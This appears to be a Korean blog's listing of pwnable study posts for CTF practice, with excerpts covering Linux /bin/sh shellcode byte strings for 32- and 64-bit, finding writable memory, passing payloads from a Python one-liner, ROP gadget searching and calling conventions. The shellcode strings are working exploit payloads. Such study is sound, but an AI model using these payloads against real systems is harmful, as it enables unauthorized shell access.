[ ★ ]Study/PWNABLE14 ShellCode 32-bit Operation 28-BYTE \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80 31-BYTE \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 64-bit Operation 23-BYTE \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05 27-BYTE \.. 2019. 12. 5. 쓰기 가능한 영역 찾기 shell ps -ef|grep [파일이름] 바이너리 실행하는 프로세스 번호 찾아서 shell cat /proc/번호/maps 2019. 1. 1. [TIP] 파이썬 쉘에서 인자 바로 넘기기 CTF간단하게 payload 넘길 시에 작성하는 법python -c 'import struct;print"A"*63 + struct.pack(" 2019. 1. 1. ROP 쓰기 가능한 영역 확인 read, write, pop;ret 를 통한 ROP 공부중에 쓰는 글... 알아야 될 것들- 쓰기 가능한 메모리- PLT, GOT 섹션이 gdb-peda$ ps -ef | grep rop nroses 6551 12251 0 22:05 pts/2 00:00:00 gdb -q rop-32 nroses 29468 6551 0 22:11 pts/2 00:00:00 /home/nroses/CTF/tech/ROP/rop-32 nroses 29714 6551 0 22:19 pts/2 00:00:00 bash -c ps -ef | grep rop nroses 29721 29714 0 22:19 pts/2 00:00:00 grep rop gdb-peda$ cat /proc/29468/maps 08048000-08049.. 2018. 12. 7. ROPgadget 이용 원하는 가젯 찾기 1. ROPgadget --binary [파일이름] --only "pop|ret" 2. gdb-peda 에서 ropsearch 이용하기예를 들어 64bit파일 RTL 할 때ropsearch "pop rdi; ret" ropsearch "pop rdi; ret" libc or binary 3. ropgadget 이용 4. rp++ 이용./rp-lin-x86 -f [파일이름] -r 4 | grep "pop" 2018. 12. 5. Calling Convention 인자 전달 위주 32bit리눅스에선 Cdecl 호출 규약을 사용 - 함수의 인자 값을 스택에 저장.- 오른쪽에서 왼쪽 순서로 저장- 함수의 리턴 값은 EAX register에 저장 64bitSystem V AMD64 ABI 호출 규약 사용 인자 전달 방법RDI, RSI, RDX, RCS, R8, R9, XMMO-7 나머진 32bit와 동일 2018. 12. 5. 이전 1 2 3 다음